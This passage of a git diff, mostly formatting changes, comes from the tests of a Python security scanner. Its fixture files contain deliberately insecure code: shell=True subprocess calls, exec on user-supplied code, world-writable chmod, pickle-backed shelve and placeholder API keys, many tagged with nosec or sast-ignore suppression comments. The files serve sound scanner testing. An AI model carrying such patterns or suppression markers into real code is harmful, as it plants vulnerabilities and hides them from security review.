+
+variable = 1
+
 
 def my_function():
-    var1,var2=keys
-    var3=token
+    var1, var2 = keys
+    var3 = token
 
 
-paid1 = os.getenv("key") #a possible API key
-paid1 = os.getenv("mykey") #a possible API key
-paid1 = get_secretz("KEY")    #a possible API key
-paid1 = config.get("API_KEY")    #a possible API key
+paid1 = os.getenv("key")  # a possible API key
+paid1 = os.getenv("mykey")  # a possible API key
+paid1 = get_secretz("KEY")  # a possible API key
+paid1 = config.get("API_KEY")  # a possible API key
diff --git a/tests/spytestdir/telemetryfile2.py b/tests/spytestdir/telemetryfile2.py
index 1106268..410b627 100644
--- a/tests/spytestdir/telemetryfile2.py
+++ b/tests/spytestdir/telemetryfile2.py
@@ -1,31 +1,30 @@
 # Example telemetry/analytics module that uses token/API_KEY - not FOSS so unkown security risks and has privacy risks!
-API_KEY = "static_key" #simple static assingment
-config.api_key = os.getenv("API_KEY") #environmental sourcing
-secrets["token"] = get_token() # dynamic assignment using a function
-xecretx["tokes"] = get_token() # dynamic assignment using a function
-my_long_API_secretskey_namevalue['tokenstring'] = get_api_token_from_vault()
-my_long_notcompleethidenvariable_namevalue['aiusestring'] = get_api_token_from_vault()
-API_KEY = load_secret() #match on API_key 
+API_KEY = "static_key"  # simple static assingment
+config.api_key = os.getenv("API_KEY")  # environmental sourcing
+secrets["token"] = get_token()  # dynamic assignment using a function
+xecretx["tokes"] = get_token()  # dynamic assignment using a function
+my_long_API_secretskey_namevalue["tokenstring"] = get_api_token_from_vault()
+my_long_notcompleethidenvariable_namevalue["aiusestring"] = get_api_token_from_vault()
+API_KEY = load_secret()  # match on API_key
 
 
-token="token_234r34r"
-api_key="AIza.*"
-password=".*strange#pasword"
+token = "token_234r34r"
+api_key = "AIza.*"
+password = ".*strange#pasword"
 
 import shitlib
-shitlib.init(
-api_key='shitlib_abc123def456',
-project='your-package-name'
-)
 
-variable =1
+shitlib.init(api_key="shitlib_abc123def456", project="your-package-name")
+
+variable = 1
+
 
 def my_function():
-    var1,var2=keys
-    var3=token
+    var1, var2 = keys
+    var3 = token
 
 
-paid1 = os.getenv("key") #a possible API key
-paid1 = os.getenv("mykey") #a possible API key
-paid1 = get_secretz("KEY")    #a possible API key
-paid1 = config.get("API_KEY")    #a possible API key
+paid1 = os.getenv("key")  # a possible API key
+paid1 = os.getenv("mykey")  # a possible API key
+paid1 = get_secretz("KEY")  # a possible API key
+paid1 = config.get("API_KEY")  # a possible API key
diff --git a/tests/suppression/sastsuppression_0.py b/tests/suppression/sastsuppression_0.py
index 60dbe7f..9d006af 100644
--- a/tests/suppression/sastsuppression_0.py
+++ b/tests/suppression/sastsuppression_0.py
@@ -7,72 +7,67 @@
 
 This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 
-You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. 
+You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>.
 Validation file to see if SAST suppression works correct.
 
 """
 
+self.process = subprocess.Popen("/bin/rmdir", shell=True)  # nosec
+self.process = subprocess.Popen("/bin/rmdir", shell=True)  # nosec nosec nosec
 
-self.process = subprocess.Popen('/bin/rmdir', shell=True)  # nosec
-self.process = subprocess.Popen( 
-    '/bin/rmdir', #nosec nosec nosec
-      shell=True)  
-
-self.process = subprocess.Popen('/bin/rmdir', shell=True)  # my comment line 
-self.process = subprocess.Popen('/bin/rmdir', shell=True)  # my comment line 
+self.process = subprocess.Popen("/bin/rmdir", shell=True)  # my comment line
+self.process = subprocess.Popen("/bin/rmdir", shell=True)  # my comment line
 
 import builtins
+
 number = input("number to find a security issue?")
 d = builtins
-code_obj = d.compile('x = 5*5\nprint(x)', '<string>', 'exec')
-result = d.exec(code_obj)  #Input should not be obfuscated. Code Audit will detect this!
+code_obj = d.compile("x = 5*5\nprint(x)", "<string>", "exec")
+result = d.exec(
+    code_obj
+)  # Input should not be obfuscated. Code Audit will detect this!
 
 
-number = input("number to find a security issue?") #nosec
-d = builtins #nosec
-code_obj = d.compile('x = 5*5\nprint(x)', '<string>', 'exec') 
-result = d.exec(code_obj)  #Input should not be obfuscated. Code Audit will detect this! # nosec
+number = input("number to find a security issue?")  # nosec
+d = builtins  # nosec
+code_obj = d.compile("x = 5*5\nprint(x)", "<string>", "exec")
+result = d.exec(
+    code_obj
+)  # Input should not be obfuscated. Code Audit will detect this! # nosec
 
 import shelve
-# line belows also is a weakness, since shelve uses the pickle module 
-db = shelve.DbfilenameShelf("mydata.db", 
-                            flag="c", 
-                            protocol=None, writeback=False) #nosec
+
+# line belows also is a weakness, since shelve uses the pickle module
+db = shelve.DbfilenameShelf(
+    "mydata.db", flag="c", protocol=None, writeback=False
+)  # nosec
 
 # --- assert usage ---
 assert 1 == 1  # nosec
-assert user_is_admin()  #nosec
-assert password != ""  # nosec 
+assert user_is_admin()  # nosec
+assert password != ""  # nosec
 
 
 # --- exec usage ---
 exec("print('hello world')")  # nosec
-exec(user_supplied_code)  #nosec
-exec(
-    "x = 10\nprint(x)"
-)  # nosec exec is intentional here
+exec(user_supplied_code)  # nosec
+exec("x = 10\nprint(x)")  # nosec exec is intentional here
 
 
 # --- gzip.open usage ---
 import gzip
 
 f = gzip.open("data.gz", "rb")  # nosec
-gzip.open("archive.gz", mode="wt")  #nosec
-gzip.open(
-    "logs.gz",
-    "wb"
-)  # nosec GZIP file handling is expected
+gzip.open("archive.gz", mode="wt")  # nosec
+gzip.open("logs.gz", "wb")  # nosec GZIP file handling is expected
 
 
 # --- os.chmod usage ---
 import os
 
 os.chmod("script.sh", 0o777)  # nosec
-os.chmod("/tmp/testfile", 0o644)  #nosec
-os.chmod(
-    "config.cfg",
-    0o600
-)  # nosec permissions managed externally
+os.chmod("/tmp/testfile", 0o644)  # nosec
+os.chmod("config.cfg", 0o600)  # nosec permissions managed externally
 
 
 # --- mixed examples with suppression noise ---
diff --git a/tests/suppression/sastsuppression_1.py b/tests/suppression/sastsuppression_1.py
index 9ef3e9d..9b38d1d 100644
--- a/tests/suppression/sastsuppression_1.py
+++ b/tests/suppression/sastsuppression_1.py
@@ -7,32 +7,34 @@
 
 This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 
-You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. 
+You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>.
 Validation file to see if SAST suppression works correct.
 """
 
-
-self.process = subprocess.Popen('/bin/rmdir', shell=True)  # nosec
-self.process = subprocess.Popen( 
-    '/bin/rmdir', #nosec nosec nosec
-      shell=True)  
+self.process = subprocess.Popen("/bin/rmdir", shell=True)  # nosec
+self.process = subprocess.Popen("/bin/rmdir", shell=True)  # nosec nosec nosec
 
 
 import builtins
-number = input("number to find a security issue?") #nosec
+
+number = input("number to find a security issue?")  # nosec
 d = builtins
-code_obj = d.compile('x = 5*5\nprint(x)', '<string>', 'exec') #nosec
-result = d.exec(code_obj)  #Input should not be obfuscated. Code Audit will detect this! nosec
+code_obj = d.compile("x = 5*5\nprint(x)", "<string>", "exec")  # nosec
+result = d.exec(
+    code_obj
+)  # Input should not be obfuscated. Code Audit will detect this! nosec
 
 
-number = input("number to find a security issue?") #nosec
-d = builtins #nosec
-code_obj = d.compile("x = 5*5\nprint(x)", #nosec
-                     "<string>", "exec")
-result = d.exec(code_obj)  #Input should not be obfuscated. Code Audit will detect this! # nosec
+number = input("number to find a security issue?")  # nosec
+d = builtins  # nosec
+code_obj = d.compile("x = 5*5\nprint(x)", "<string>", "exec")  # nosec
+result = d.exec(
+    code_obj
+)  # Input should not be obfuscated. Code Audit will detect this! # nosec
 
 import shelve
+
 # line belows also is a weakness, since shelve uses the pickle module
-db = shelve.DbfilenameShelf("mydata.db", 
-                            flag="c", 
-                            protocol=None, writeback=False) #nosec
+db = shelve.DbfilenameShelf(
+    "mydata.db", flag="c", protocol=None, writeback=False
+)  # nosec
diff --git a/tests/suppression/sastsuppression_2.py b/tests/suppression/sastsuppression_2.py
index 4d64280..867f446 100644
--- a/tests/suppression/sastsuppression_2.py
+++ b/tests/suppression/sastsuppression_2.py
@@ -7,38 +7,39 @@
 
 This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 
-You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. 
+You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>.
 Validation file to see if SAST suppression works correct.
 
 """
 
-
-self.process = subprocess.Popen('/bin/rmdir', shell=True)  # sast-ignore
-self.process = subprocess.Popen( 
-    '/bin/rmdir', ## sast-ignore
-      shell=True)  
+self.process = subprocess.Popen("/bin/rmdir", shell=True)  # sast-ignore
+self.process = subprocess.Popen("/bin/rmdir", shell=True)  ## sast-ignore
 
 
 import builtins
-number = input("number to find a security issue?") #nosec
+
+number = input("number to find a security issue?")  # nosec
 d = builtins
-code_obj = d.compile('x = 5*5\nprint(x)', '<string>', 'exec') #nosec
-result = d.exec(code_obj)  #Input should not be obfuscated. Code Audit will detect this! nosec
+code_obj = d.compile("x = 5*5\nprint(x)", "<string>", "exec")  # nosec
+result = d.exec(
+    code_obj
+)  # Input should not be obfuscated. Code Audit will detect this! nosec
 
-ask = input('why?') #ignore-security
+ask = input("why?")  # ignore-security
 
 import shelve
+
 # line belows also is a weakness, since shelve uses the pickle module
-db = shelve.DbfilenameShelf("mydata.db", 
-                            flag="c", 
-                            protocol=None, writeback=False) #nosec
+db = shelve.DbfilenameShelf(
+    "mydata.db", flag="c", protocol=None, writeback=False
+)  # nosec
 
-number2 = input("number to find a security issue?") #noqaa  noqanoqa
+number2 = input("number to find a security issue?")  # noqaa  noqanoqa
 
 
-number3 = input("number to find a security issue?") #noqa
+number3 = input("number to find a security issue?")  # noqa
 
 
-db = shelve.DbfilenameShelf("mydata.db",  #nosec
-                            flag="c", 
-                            protocol=None, writeback=False) 
\ No newline at end of file
+db = shelve.DbfilenameShelf(
+    "mydata.db", flag="c", protocol=None, writeback=False  # nosec
+)
diff --git a/tests/test_apicalls.py b/tests/test_apicalls.py
index f074d9e..c9e58a5 100644
--- a/tests/test_apicalls.py
+++ b/tests/test_apicalls.py
@@ -1,38 +1,40 @@
-# SPDX-FileCopyrightText: 2025-present Maikel Mardjan(https://nocomplexity.com/) and all contributors! 
-#
-# SPDX-License-Identifier: GPL-3.0-or-later
-
-import pytest
 from pathlib import Path
 
-from codeaudit.api_interfaces import version , get_overview
+import pytest
 
+from codeaudit.api_interfaces import get_overview, version
+from codeaudit.checkmodules import get_imported_modules
 from codeaudit.filehelpfunctions import read_in_source_file
-from codeaudit.checkmodules import get_imported_modules 
 
 
-def test_api_version():    
-            
+def test_api_version():
+
     actual_data = version()
     assert "name" in actual_data
     assert "version" in actual_data
     assert actual_data["name"] == "Python_Code_Audit"
     # just check version format, not exact number
     assert isinstance(actual_data["version"], str)
-    assert actual_data["version"].count(".") >= 1  # Test valid for all version, unless API has major change
+    assert (
+        actual_data["version"].count(".") >= 1
+    )  # Test valid for all version, unless API has major change
 
 
 def test_get_overview_errorfile():
     current_file_directory = Path(__file__).parent
     # validation1.py is in a subfolder:
-    validation_file_path = current_file_directory / "validationfiles" / "dunderexec_with_parsing_error.py" #This file can NOT be parsed
-    #source = read_in_source_file(validation_file_path)
-            
-    actual_data = get_overview(validation_file_path) 
+    validation_file_path = (
+        current_file_directory / "validationfiles" / "dunderexec_with_parsing_error.py"
+    )  # This file can NOT be parsed
+    # source = read_in_source_file(validation_file_path)
+
+    actual_data = get_overview(validation_file_path)
 
     # This is the expected dictionary
-    expected_data = {'Error': 'File is not a *.py file, does not exist or is not a valid directory path to a Python package.'}
-    
+    expected_data = {
+        "Error": "File is not a *.py file, does not exist or is not a valid directory path to a Python package."
+    }
+
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
 
@@ -43,12 +45,12 @@ def test_get_overview_validfile():
     validation_file_path = current_file_directory / "validationfiles" / "obfuscating.py"
     # source = read_in_source_file(validation_file_path)
 
-    actual_data = get_overview(validation_file_path) 
-    del actual_data["FilePath"] #not interested in FilePath for testing.
+    actual_data = get_overview(validation_file_path)
+    del actual_data["FilePath"]  # not interested in FilePath for testing.
 
     # This is the expected dictionary - note for testing output!
     expected_data = {
-        "FileName": "obfuscating.py",        
+        "FileName": "obfuscating.py",
         "Number_Of_Lines": 54,
         "AST_Nodes": 32,
         "Std-Modules": 2,
diff --git a/tests/test_basicpatterns.py b/tests/test_basicpatterns.py
index 09d789c..7a30c6c 100644
--- a/tests/test_basicpatterns.py
+++ b/tests/test_basicpatterns.py
@@ -1,9 +1,11 @@
-import pytest
 from pathlib import Path
 
+import pytest
+
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
 
+
 def test_basic_patterns():
     current_file_directory = Path(__file__).parent
 
@@ -11,47 +13,47 @@ def test_basic_patterns():
     validation_file_path = current_file_directory / "validationfiles" / "validation1.py"
 
     source = read_in_source_file(validation_file_path)
-    
-    constructs = {'os.access', 'eval'}
-    actual_data = find_constructs(source, constructs) 
+
+    constructs = {"os.access", "eval"}
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'os.access': [8, 14], 'eval': [11]}
+    expected_data = {"os.access": [8, 14], "eval": [11]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
 
+
 def test_basic_patterns2():
     current_file_directory = Path(__file__).parent
 
     # validation1.py is in a subfolder:
     validation_file_path = current_file_directory / "validationfiles" / "validation2.py"
     source = read_in_source_file(validation_file_path)
-    
-    constructs = {'os', 'os.access', 'eval'}
 
-    actual_data = find_constructs(source, constructs) 
+    constructs = {"os", "os.access", "eval"}
+
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'os.access': [8, 12], 'eval': [10], 'os': [8, 12]}
+    expected_data = {"os.access": [8, 12], "eval": [10], "os": [8, 12]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
 
+
 def test_assert_keyword():
     current_file_directory = Path(__file__).parent
 
     # validation1.py is in a subfolder:
     validation_file_path = current_file_directory / "validationfiles" / "assert.py"
     source = read_in_source_file(validation_file_path)
-    
 
-    constructs = {'os', 'os.access', 'assert'}
-    actual_data = find_constructs(source, constructs) 
+    constructs = {"os", "os.access", "assert"}
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'assert': [5,31]}
+    expected_data = {"assert": [5, 31]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
-
diff --git a/tests/test_chmod.py b/tests/test_chmod.py
index 5f4bc3f..e7c8499 100644
--- a/tests/test_chmod.py
+++ b/tests/test_chmod.py
@@ -1,26 +1,27 @@
-import pytest
 from pathlib import Path
 
+import pytest
+
 from codeaudit.security_checks import perform_validations
 
-#constructs are tested in this test file based on SAST checks defined , not  running constructs directly for testing as in other test files.
+# constructs are tested in this test file based on SAST checks defined , not  running constructs directly for testing as in other test files.
 
 
 def test_chmod_constructs():
     current_file_directory = Path(__file__).parent
 
     # validation1.py is in a subfolder:
-    validation_file_path = current_file_directory / "validationfiles" / "chmod_things.py"
+    validation_file_path = (
+        current_file_directory / "validationfiles" / "chmod_things.py"
+    )
 
-            
     result = perform_validations(validation_file_path)
 
-    #actual_data = find_constructs(source, constructs) 
-    actual_data = result['result']
+    # actual_data = find_constructs(source, constructs)
+    actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {'os.access': [5], 'os.chmod': [8, 23, 25]}
-    
+    expected_data = {"os.access": [5], "os.chmod": [8, 23, 25]}
 
     # Assert that the actual data matches the expected data
-    assert actual_data == expected_data
\ No newline at end of file
+    assert actual_data == expected_data
diff --git a/tests/test_constructspart2.py b/tests/test_constructspart2.py
index e4734bf..989ae01 100644
--- a/tests/test_constructspart2.py
+++ b/tests/test_constructspart2.py
@@ -1,22 +1,24 @@
-import pytest
 from pathlib import Path
 
+import pytest
+
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
 from codeaudit.security_checks import perform_validations
 
 # constructs are tested in this test file based on SAST checks defined , not  running constructs directly for testing as in other test files.
 
+
 def test_shelve_usage():
     current_file_directory = Path(__file__).parent
 
     # validation1.py is in a subfolder:
     validation_file_path = current_file_directory / "validationfiles" / "shelve.py"
-    
+
     result = perform_validations(validation_file_path)
 
     # actual_data = find_constructs(source, constructs)
-    actual_data = result['result']
+    actual_data = result["result"]
 
     # This is the expected dictionary
     expected_data = {"shelve.DbfilenameShelf": [7], "shelve.open": [3]}
@@ -24,6 +26,7 @@ def test_shelve_usage():
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
 
+
 def test_zipfile_extraction():
     current_file_directory = Path(__file__).parent
 
@@ -33,11 +36,12 @@ def test_zipfile_extraction():
     result = perform_validations(validation_file_path)
 
     # actual_data = find_constructs(source, constructs)
-    actual_data = result['result']
+    actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {'zipfile.ZipFile': [8, 13, 17, 23] ,
-                     }
+    expected_data = {
+        "zipfile.ZipFile": [8, 13, 17, 23],
+    }
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -57,11 +61,11 @@ def test_shutil_constructs():
     # This is the expected dictionary
     expected_data = {
         "shutil.unpack_archive": [3],
-        "shutil.copy2": [5, 7],
+        "shutil.copy2": [5, 12],
         "shutil.copytree": [7],
-        "shutil.chown": [9],
-        "shutil.rmtree": [15],
-        "shutil.copy": [18],
+        "shutil.chown": [17],
+        "shutil.rmtree": [25],
+        "shutil.copy": [29],
     }
 
     # Assert that the actual data matches the expected data
@@ -72,17 +76,17 @@ def test_input_statement():
     current_file_directory = Path(__file__).parent
 
     # validation1.py is in a subfolder:
-    validation_file_path = current_file_directory / "validationfiles" / "inputstatement.py"
+    validation_file_path = (
+        current_file_directory / "validationfiles" / "inputstatement.py"
+    )
 
-            
     result = perform_validations(validation_file_path)
 
-    #actual_data = find_constructs(source, constructs) 
-    actual_data = result['result']
+    # actual_data = find_constructs(source, constructs)
+    actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {'input': [6]}
-    
+    expected_data = {"input": [6]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -94,15 +98,13 @@ def test_marshal_usage():
     # validation1.py is in a subfolder:
     validation_file_path = current_file_directory / "validationfiles" / "marshal.py"
 
-            
     result = perform_validations(validation_file_path)
 
-    #actual_data = find_constructs(source, constructs) 
-    actual_data = result['result']
+    # actual_data = find_constructs(source, constructs)
+    actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {'marshal.loads': [30], 'marshal.load': [36]}
-    
+    expected_data = {"marshal.loads": [30], "marshal.load": [36]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -112,17 +114,17 @@ def test_tar_methods_use():
     current_file_directory = Path(__file__).parent
 
     # validation1.py is in a subfolder:
-    validation_file_path = current_file_directory / "validationfiles" / "tarfilevalidation.py"
+    validation_file_path = (
+        current_file_directory / "validationfiles" / "tarfilevalidation.py"
+    )
 
-            
     result = perform_validations(validation_file_path)
 
-    #actual_data = find_constructs(source, constructs) 
-    actual_data = result['result']
+    # actual_data = find_constructs(source, constructs)
+    actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {'tarfile.TarFile': [6, 10, 17, 22, 24]}
-    
+    expected_data = {"tarfile.TarFile": [6, 10, 17, 22, 24]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -134,19 +136,18 @@ def test_tempfile_incorrect_use():
     # validation1.py is in a subfolder:
     validation_file_path = current_file_directory / "validationfiles" / "tempcheck.py"
 
-            
     result = perform_validations(validation_file_path)
 
-    #actual_data = find_constructs(source, constructs) 
-    actual_data = result['result']
+    # actual_data = find_constructs(source, constructs)
+    actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {'tempfile.mktemp': [3]}
-    
+    expected_data = {"tempfile.mktemp": [3]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
 
+
 def test_gzip_use():
     current_file_directory = Path(__file__).parent
 
@@ -156,7 +157,7 @@ def test_gzip_use():
     result = perform_validations(validation_file_path)
 
     # actual_data = find_constructs(source, constructs)
-    actual_data = result['result']
+    actual_data = result["result"]
 
     # This is the expected dictionary
     expected_data = {
diff --git a/tests/test_correctexceptionuse.py b/tests/test_correctexceptionuse.py
index d2eb8e9..ca82ddd 100644
--- a/tests/test_correctexceptionuse.py
+++ b/tests/test_correctexceptionuse.py
@@ -1,9 +1,11 @@
-import pytest
 from pathlib import Path
 
+import pytest
+
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
 
+
 def test_correct_exception_use():
     current_file_directory = Path(__file__).parent
 
@@ -11,13 +13,12 @@ def test_correct_exception_use():
     validation_file_path = current_file_directory / "validationfiles" / "exception.py"
 
     source = read_in_source_file(validation_file_path)
-    
-    constructs = {'pass' ,'continue'}
-    actual_data = find_constructs(source, constructs) 
+
+    constructs = {"pass", "continue"}
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'pass': [19] ,
-                     'continue': [11]}
+    expected_data = {"pass": [19], "continue": [11]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_count_commentlines.py b/tests/test_count_commentlines.py
index 121791c..2058344 100644
--- a/tests/test_count_commentlines.py
+++ b/tests/test_count_commentlines.py
@@ -2,25 +2,30 @@
 
 from codeaudit.totals import count_comment_lines
 
+
 def test_single_comment_line():
     source = "# This is a comment\nprint('Hello')"
     result = count_comment_lines(source)
-    assert result == {'Comment_Lines': 1}
+    assert result == {"Comment_Lines": 1}
+
 
 def test_triple_double_quoted_multiline_string():
-    source = '"""\nThis is a docstring\nspanning multiple lines\n"""\nprint("Done")' # I count these as 4 lines. Nocomplexity needed for this tool!
+    source = '"""\nThis is a docstring\nspanning multiple lines\n"""\nprint("Done")'  # I count these as 4 lines. Nocomplexity needed for this tool!
     result = count_comment_lines(source)
-    assert result == {'Comment_Lines': 4}
+    assert result == {"Comment_Lines": 4}
+
 
 def test_inline_comment_ignored():
     source = "x = 1  # inline comment\n# standalone comment"
     result = count_comment_lines(source)
-    assert result == {'Comment_Lines': 1}
+    assert result == {"Comment_Lines": 1}
+
 
 def test_single_line_triple_quotes():
     source = '"""This is a single-line docstring"""\nprint("Code")'
     result = count_comment_lines(source)
-    assert result == {'Comment_Lines': 1}
+    assert result == {"Comment_Lines": 1}
+
 
 def test_mixed_comments_and_docstrings():
     source = '''
@@ -32,9 +37,10 @@ def test_mixed_comments_and_docstrings():
 # comment 2
 '''
     result = count_comment_lines(source)
-    assert result == {'Comment_Lines': 5}
+    assert result == {"Comment_Lines": 5}
+
 
 def test_no_comments_or_docstrings():
     source = "print('Hello')\nx = 2 + 2"
     result = count_comment_lines(source)
-    assert result == {'Comment_Lines': 0}
+    assert result == {"Comment_Lines": 0}
diff --git a/tests/test_directorycreation.py b/tests/test_directorycreation.py
index e4dfef6..0805ab5 100644
--- a/tests/test_directorycreation.py
+++ b/tests/test_directorycreation.py
@@ -1,65 +1,78 @@
-import pytest
 from pathlib import Path
 
+import pytest
+
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
 
+
 def test_os_makedirs():
     current_file_directory = Path(__file__).parent
     # validation1.py is in a subfolder:
-    validation_file_path = current_file_directory / "validationfiles" / "directorycreation.py"
+    validation_file_path = (
+        current_file_directory / "validationfiles" / "directorycreation.py"
+    )
     source = read_in_source_file(validation_file_path)
-    constructs = {'os.makedirs'}
-        
-    actual_data = find_constructs(source, constructs) 
+    constructs = {"os.makedirs"}
+
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'os.makedirs': [10, 79]}
+    expected_data = {"os.makedirs": [10, 79]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
 
+
 def test_os_mkdir():
     current_file_directory = Path(__file__).parent
     # validation1.py is in a subfolder:
-    validation_file_path = current_file_directory / "validationfiles" / "directorycreation.py"
+    validation_file_path = (
+        current_file_directory / "validationfiles" / "directorycreation.py"
+    )
     source = read_in_source_file(validation_file_path)
-    constructs = {'os.mkdir'}
-     
-    actual_data = find_constructs(source, constructs) 
+    constructs = {"os.mkdir"}
+
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'os.mkdir': [23]}
+    expected_data = {"os.mkdir": [23]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
 
+
 def test_os_mkfifo():
     current_file_directory = Path(__file__).parent
     # validation1.py is in a subfolder:
-    validation_file_path = current_file_directory / "validationfiles" / "directorycreation.py"
+    validation_file_path = (
+        current_file_directory / "validationfiles" / "directorycreation.py"
+    )
     source = read_in_source_file(validation_file_path)
-    constructs = {'os.mkfifo'}
-     
-    actual_data = find_constructs(source, constructs) 
+    constructs = {"os.mkfifo"}
+
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'os.mkfifo': [45]}
+    expected_data = {"os.mkfifo": [45]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
 
+
 def test_os_mknod():
     current_file_directory = Path(__file__).parent
     # validation1.py is in a subfolder:
-    validation_file_path = current_file_directory / "validationfiles" / "directorycreation.py"
+    validation_file_path = (
+        current_file_directory / "validationfiles" / "directorycreation.py"
+    )
     source = read_in_source_file(validation_file_path)
-    constructs = {'os.mknod'}
-     
-    actual_data = find_constructs(source, constructs) 
+    constructs = {"os.mknod"}
+
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'os.mknod': [62]}
+    expected_data = {"os.mknod": [62]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_directorycreation2.py b/tests/test_directorycreation2.py
index 6008a8b..b7670f1 100644
--- a/tests/test_directorycreation2.py
+++ b/tests/test_directorycreation2.py
@@ -1,95 +1,114 @@
-import pytest
 from pathlib import Path
 
+import pytest
+
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
 
+
 def test_os_makedirs():
     current_file_directory = Path(__file__).parent
     # validation1.py is in a subfolder:
-    validation_file_path = current_file_directory / "validationfiles" / "directorycreation2.py"
+    validation_file_path = (
+        current_file_directory / "validationfiles" / "directorycreation2.py"
+    )
     source = read_in_source_file(validation_file_path)
-    constructs = {'os.makedirs'}
-        
-    actual_data = find_constructs(source, constructs) 
+    constructs = {"os.makedirs"}
+
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'os.makedirs': [10, 79]}
+    expected_data = {"os.makedirs": [10, 79]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
 
+
 def test_os_mkdir():
     current_file_directory = Path(__file__).parent
     # validation1.py is in a subfolder:
-    validation_file_path = current_file_directory / "validationfiles" / "directorycreation2.py"
+    validation_file_path = (
+        current_file_directory / "validationfiles" / "directorycreation2.py"
+    )
     source = read_in_source_file(validation_file_path)
-    constructs = {'os.mkdir'}
-     
-    actual_data = find_constructs(source, constructs) 
+    constructs = {"os.mkdir"}
+
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'os.mkdir': [26]}
+    expected_data = {"os.mkdir": [26]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
 
+
 def test_os_mkfifo():
     current_file_directory = Path(__file__).parent
     # validation1.py is in a subfolder:
-    validation_file_path = current_file_directory / "validationfiles" / "directorycreation2.py"
+    validation_file_path = (
+        current_file_directory / "validationfiles" / "directorycreation2.py"
+    )
     source = read_in_source_file(validation_file_path)
-    constructs = {'os.mkfifo'}
-     
-    actual_data = find_constructs(source, constructs) 
+    constructs = {"os.mkfifo"}
+
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'os.mkfifo': [48]}
+    expected_data = {"os.mkfifo": [48]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
 
+
 def test_os_mknod():
     current_file_directory = Path(__file__).parent
     # validation1.py is in a subfolder:
-    validation_file_path = current_file_directory / "validationfiles" / "directorycreation2.py"
+    validation_file_path = (
+        current_file_directory / "validationfiles" / "directorycreation2.py"
+    )
     source = read_in_source_file(validation_file_path)
-    constructs = {'os.mknod'}
-     
-    actual_data = find_constructs(source, constructs) 
+    constructs = {"os.mknod"}
+
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'os.mknod': [65]}
+    expected_data = {"os.mknod": [65]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
 
+
 def test_os_makedirs():
     current_file_directory = Path(__file__).parent
     # validation1.py is in a subfolder:
-    validation_file_path = current_file_directory / "validationfiles" / "directorycreation2.py"
+    validation_file_path = (
+        current_file_directory / "validationfiles" / "directorycreation2.py"
+    )
     source = read_in_source_file(validation_file_path)
-    constructs = {'os.makedirs'}
-     
-    actual_data = find_constructs(source, constructs) 
+    constructs = {"os.makedirs"}
+
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'os.makedirs': [13,82]}
+    expected_data = {"os.makedirs": [13, 82]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
 
+
 def test_os_makedev():
     current_file_directory = Path(__file__).parent
